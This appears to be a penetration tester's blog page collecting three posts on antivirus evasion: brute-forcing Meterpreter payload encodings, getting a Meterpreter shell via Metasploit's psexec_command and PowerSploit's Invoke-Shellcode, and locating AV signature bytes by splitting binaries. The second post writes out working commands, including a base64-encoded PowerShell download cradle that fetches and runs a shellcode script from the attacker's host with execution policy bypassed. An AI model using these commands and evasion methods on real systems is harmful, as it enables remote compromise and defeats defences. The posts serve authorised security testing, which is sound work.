Showing posts with label AV avoidance. Show all posts
Showing posts with label AV avoidance. Show all posts

Tuesday, September 17, 2013

Hammer Instead of a Scalpel: Brute-force AV Evasion

Several years ago, I was on an engagement with Skip where we were faced with the common problem of antivirus evasion for callback binaries. The environment was such that we feared that any custom backdoor or tool would be submitted to an AV vendor so we wanted to use Meterpreter. Obviously, this was before the golden age of PowerShell. Skip suggested that we generate hundreds of payloads and scan them locally to see which ones bypass the target product. We knew what the product was, but there are some awesome ways of figuring that out. I felt pretty educated on the topic and concluded that his idea wouldn't work since encoding didn't really matter for executables.

I was wrong.

He threw together a bash script to generate payloads overnight and we returned to find around 10 viable binaries that all had different hash signatures and worked:


I have used this method to general success ever since, but given what we know about how encoding shouldn't really matter, why does this work? I don't know. My best guess is bad signature writing for a known security tool.

We even took the concept even further when facing multiple products:


Testers tend to keep their AV-evasion methods to themselves for obvious reasons, but with the tools available now it's not a huge deal. I am really writing this post to get thoughts as to why this still works. So the script that Skip wrote works, but I really wanted to speed up the process and start up the handler for testing:


The python script is on github if you are interested in trying this out but your mileage will certainly vary based on the AV product. Over the years, it generally requires more payloads to be created to be successful. Sometimes its in the hundreds, but often its in the thousands. Be careful with disk space since the script doesn't account for that.

-Chris



Thursday, March 28, 2013

PowerSploit + Metasploit = Shells

Metasploit has supported psexec-like functionality with pass-the-hash for several years. Unfortunately, its mostly useless when an AV product is there to delete the uploaded service binary. Recently, a module (/auxiliary/admin/smb/psexec_command) was created that allows you to run a single Windows command with discovered hashes or credentials. This doesn't flag AV, but isn't the full meterpreter shell that we're use to. How can we turn one command into a meterpreter shell?  With PowerSploit and Matt Graeber's Invoke-Shellcode!

The basic steps:


Kali Linux is awesome, but the version of PowerSploit is currently outdated, so lets pull down the script we will eventually run:

wget -O /var/www/payload https://raw.github.com/mattifestation/PowerSploit/master/CodeExecution/Invoke-Shellcode.ps1

Next we need to append the appropriate function call with LHOST and LPORT parameters and ensure that Apache is running.

echo "Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost $lhost -Lport $lport -Force" >> /var/www/payload

strings -es /var/www/payload


Call to Function Added
Now that we have the script hosted, we need to build the command we want to execute. Although we could encode the entire command, I have found that building a small staging script is far more reliable. We can use the same method as described in a previous post.

Basically, we are going to Base64 encode our short script block which will pull down the rest of our script: 

scriptblock="iex (New-Object Net.WebClient).DownloadString("http://$lhost/payload")"
encode="`echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0`"
command="cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc $encode"
echo $command


Now we fill in the rest of the settings of the module (either a password or hash) and use the COMMAND parameter to the encoded command:

Add Command to psexec_command
Next, we start the multi/handler with reverse_https:

Set Up Handler
Finally, we run the module. This uploads a service binary to run our single command. The single command is an encoded PowerShell script which is pulling down the larger Invoke-Shellcode script. Invoke-Shellcode is determining whether the system is x86 or x64, and injecting meterpreter shellcode into an appropriate process:

Get Your Shell
The end result is a meterpreter shell without writing anything more to disk than the psexec_command module does (notice the less than ideal bat files in the above screenshot). This method has proven to be reliable for me over the last few months with lots of other tools as well. I hope you find it useful and maybe someone will be inspired to automate this all into a single module.

As soon as the PTH-Suite is ported to Kali, I hope to show you how to accomplish all of this without writing anything to disk!

***Updated 8/8/2013
So after a few comments and working through encoding issues with several people I finally realized that the actual posted code was incomplete. Instead of working from the post, I continued to work from my own script which was just simply not smart. So I added a screenshot for extra clarity and I apologize to anyone that this frustrated. On the positive side, now there are loads of other ways to pull this off which I wrote about here and you can read more about here and here.


-Chris

Wednesday, December 12, 2012

Finding Simple AV Signatures with PowerShell

As a penetration tester, one of the best methods of dealing with antivirus products is to avoid them all together.  Most AV products work by analyzing binaries that have been written to the disk. If you don't write a PE (i.e. exe, dll, etc...) to the hard drive, you don't have to worry about the majority of AV products. This is typically accomplished by utilizing memory-resident tools such as Meterpreter executed with the Inject-Shellcode PowerShell script.

There could be situations when avoiding a specific AV product is impractical or unnecessary. If the product is strictly signature-based, there are many ways in which a binary can be modified to avoid the signature. There are plenty of tutorials which utilize "crypters" or "binders" to obfuscate a PE from AV, but there can sometimes be an easier way. Several years ago, the tool "DSplit" was released by class101 which was used to demonstrate how some AV signatures could be bypassed by finding and modifying one byte within the binary. Unfortunately, the original file (and source code?) is no longer available for download by the author. Since the method still works, we decided to create a similar PowerShell script with a few improvements:  

Find-AVSignature Function

To demonstrate how to use the function, we will take the Netcat for Windows binary and avoid the signature in Symantec's AV. Obviously, an easier way to avoid AV is to modify the source code and recompile, but its a good example nonetheless. To utilize the function, copy and paste it into PowerShell. Next create a folder exemption within the AV product so that you can write it safely to the disk and create a custom scan folder in order to output the split binaries to (or allow the script to do it for you).

The next step is to run the function against the binary and output several binary files starting from the first byte (0) and ending with progressively larger file sizes. For this example, we are specifying the parameters for StartByte (0), EndByte (max) and Interval (10000).  The verbose output illustrates how the file is being created when written to disk:  


After the AV product has cleaned the output folder of every file that contains the signature, we are left with a binary containing the bytes from 0 to 10000. We can now assume that the signature exists somewhere between byte 10000 and 20000 since our interval was 10000 bytes and the first binary to be deleted was the one containing bytes up to 20000.

Now we can continue the process with a smaller interval (1000) and focus on the StartByte (10000) and EndByte (20000) that we discovered in the previous step:


Again, we let the AV product detect and delete the offending binaries and see what we are left with. The interval should progressively get smaller and in this case is down to 100:


The next interval is 10:


Finally, we can use a byte interval of 1 to see if the signature is flagging on a single byte in the binary:


It appears that we have found the offending byte by allowing Symantec to delete everything containing it.


The last byte that was deleted is what needs to be changed in order for the signature to not match. We can now use your favorite hex editor (or PowerShell) to modify the byte to something that won't disrupt the application. It is typical for AV vendors to flag on error messages, copyright notices or other strings which don't affect the executable if modified.  Other times, you may need to reverse engineer the binary or use trial-and-error to find a character that will work.


The final step is to test the new binary to ensure that it doesn't flag AV and operates as intended. If it does flag, then it could be possible to repeat the entire process. Some signatures may flag on bytes that would cause the application to not function, in which case you would have to utilize a different method. However, in our example Netcat functions perfectly and doesn't flag AV:


Signature-based products will always struggle with this and similar problems and shouldn't be completely relied upon for security. It should be obvious that this entire process could be automated, but I leave that as an exercise to the reader. As always, utilize this information responsibly and ethically. If you have any questions please let me know. Find-AVSignature has been added to the PowerSploit project!

-Chris